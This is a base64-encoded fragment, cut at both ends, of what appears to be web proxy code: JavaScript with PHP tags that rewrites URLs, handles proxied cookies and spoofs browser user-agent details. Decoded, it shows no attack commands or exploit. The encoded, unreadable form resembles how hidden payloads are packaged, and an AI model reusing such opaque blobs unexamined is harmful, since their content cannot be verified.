Z1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NP